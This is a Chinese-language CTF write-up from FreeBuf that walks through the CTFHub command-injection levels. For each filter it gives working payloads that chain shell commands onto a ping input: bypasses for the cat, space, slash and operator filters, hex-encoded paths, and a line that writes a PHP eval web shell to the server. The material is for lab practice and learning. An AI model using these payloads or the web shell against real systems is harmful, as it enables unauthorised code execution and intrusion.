freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ctfhub技能树RCE命令注入解题
2021-10-14 15:24:14

1. 命令注入——无过滤

对get参数接收到的ip值没有进行限制,可以进行命令注入

1634177001_61678fe9d30888d1a96ae.png!small?1634177003030

127.0.0.1 | ls

1634176979_61678fd38004e47295863.png!small?1634176980674

127.0.0.1 | cat 196222217030210.php   无回显1634177120_616790602004f2acf76b4.png!small?1634177121302

127.0.0.1 | cat 196222217030210.php | base64  尝试base64编码

1634177164_6167908c886de9b12234a.png!small?1634177165700

base64解码得到flag

1634177402_6167917a1ef9ed94c42d3.png!small?1634177403346

2.过滤cat

127.0.0.1 | ls   得到flag文件1634177579_6167922b4e8b429ce80dd.png!small?1634177580498

127.0.0.1 | cat flag_3910174695461.php  无回显

1634177665_616792812b4a56fcdd569.png!small?1634177666348

源码中使用preg_match_all函数匹配用户输入中的cat, 如果存在cat则不执行ping命令

1634177756_616792dc9432a214dfd97.png!small?1634177757771

所以要绕过对cat的过滤:

127.0.0.1 & $a=c;$b=at;$a$b flag_3910174695461.php;   不成功

127.0.0.1 & $a=c;$b=at;${a}${b} flag_3910174695461.php;  不成功

127.0.0.1 & echo 'Y2F0IGZsYWdfMzkxMDE3NDY5NTQ2MS5waHA=' | base64 -d | bash 不成功

127.0.0.1 & cat<flag_3910174695461.php|base64   base64输出解码,成功

换一个思路:不用cat查看,linux中还有很多别的查看文件的方式

127.0.0.1 & more flag_3910174695461.php

右键查看源代码得到flag

1634182220_6167a44cc56edd984c6fa.png!small?1634182221877

除了more还有less、tail、tac、head均可以查看

再换一个思路,尝试上传shell:

127.0.0.1 & echo -e "<?php eval($_POST['ctf']);?>" > test.php  蚁剑连接不成功

1634179201_616798816012020758075.png!small?1634179202777

linux命令尝试,发现bash中将$_POST当成一个变量,所以$_POST前面加转义符

1634179339_6167990b6d76a4afd1b9b.png!small?1634179340590

127.0.0.1 & echo -e "<?php eval(/$_POST['ctf']);?>" > test.php蚁剑连接成功,得到flag

1634179409_61679951180e92dd787ef.png!small?1634179410263

3.过滤空格

同样使用了preg_match_all函数对空格进行匹配

1634180380_61679d1c0b2858b7e4144.png!small?1634180381182

127.0.0.1;ls   得到flag文件

1634181747_6167a273de6602f307c53.png!small?1634181749032

这里过滤空格,绕过空格的方法总结如下:

  • ${IFS}替代空格: 127.0.0.1;cat${IFS}flag_203392787522023.php

无回显,但是右键查看源代码得到flag

1634181279_6167a09f7634f81a2c4f9.png!small?1634181280629

  • $IFS$9 代替空格:127.0.0.1;cat$IFS9flag_203392787522023.php

也是无回显,但是右键查看源代码得到flag

  • <>代替空格:127.0.0.1;cat<>flag_203392787522023.php

这个失败了

4.过滤目录分隔符

preg_match_all过滤了/符号

1634182414_6167a50ec0cd761f5ffda.png!small?1634182415928

127.0.0.1;ls 得到一个目录flag_is_here

1634182545_6167a59191e3e1d6fc4ca.png!small?1634182546706

因为过滤了/ ,用\替换/尝试

127.0.0.1;ls \flag_is_here 发现了flag文件

1634183271_6167a867b94bd183a5de7.png!small?1634183272928

127.0.0.1&cd flag_is_here;cat flag_76922337914254.php

查看源代码得到flag

1634183904_6167aae07cbbf26fc84ba.png!small?1634183905615

5.过滤运算符

preg_match_all 过滤了|| 和 &

1634184454_6167ad065b9bd33524d60.png!small?1634184455759

这里很简单,不用|| &,使用;仍可以实现命令执行

127.0.0.1;ls1634184594_6167ad9222878e735e432.png!small?1634184595232

127.0.0.1;cat flag_12571926821489.php

右键查看源代码得到flag

6.综合过滤练习

把上面提到的全过滤了,“;” 符号也过滤了

1634192167_6167cb27a525f9da96f64.png!small?1634192168670

先127.0.0.1;ls 尝试,显示不出来内容,hackbar看url

1634193288_6167cf880645309d10e87.png!small?1634193289022

  • 替换分隔符:%0a  %0d  |   &  ||  &&
  • 替换空格:${IFS}  $IFS$9   <>   <
  • 代替文件夹的内容的路径:使用$(printf "/path")

所以在hackbar中我们修改url,用%0a来替换被url编码的 ; 符号

1634193647_6167d0ef3c60e46fd8a4d.png!small?1634193648248

得到有个文件夹flag_is_here

然后我们要127.0.0.1;ls flag_is_here

用${IFS} 或者 $IFS$9 替换空格,用$(printf "path")替换路径得到:

127.0.0.1%0als${IFS}$(printf${IFS}"flag_is_here")

再将字符转换成16进制数:flag_is_here  ——>\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65

完整payload: 127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")

1634195335_6167d787f17275ceca606.png!small?1634195336974

得到了flag_28806427127362.php文件

现在需要执行127.0.0.1;cat flag_is_here/flag_28806427127362.php

总结一下前面学到的所有过滤手法:

; ——> %0a  替换会被过滤的分隔符

空格 ——> ${IFS}   替换会被过滤的空格

dir/file ——> $(printf "/path")  代替文件夹里面的内容

cat ——> ca''t / c<>at  绕过cat过滤

flag_is_here/flag_28806427127362.php ——> \x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x38\x38\x30\x36\x34\x32\x37\x31\x32\x37\x33\x36\x32\x2e\x70\x68\x70

16进制转换绕过flag关键字的过滤

完整paylaod: 127.0.0.1%0ac''at${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x38\x38\x30\x36\x34\x32\x37\x31\x32\x37\x33\x36\x32\x2e\x70\x68\x70")

1634196034_6167da4283c2935e8f9d7.png!small?1634196035495

源代码中可以看到flag:

1634196068_6167da64c0320cd58944d.png!small?1634196069760

撒花撒花,完结撒花~

# 命令注入 # CTF # rce
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录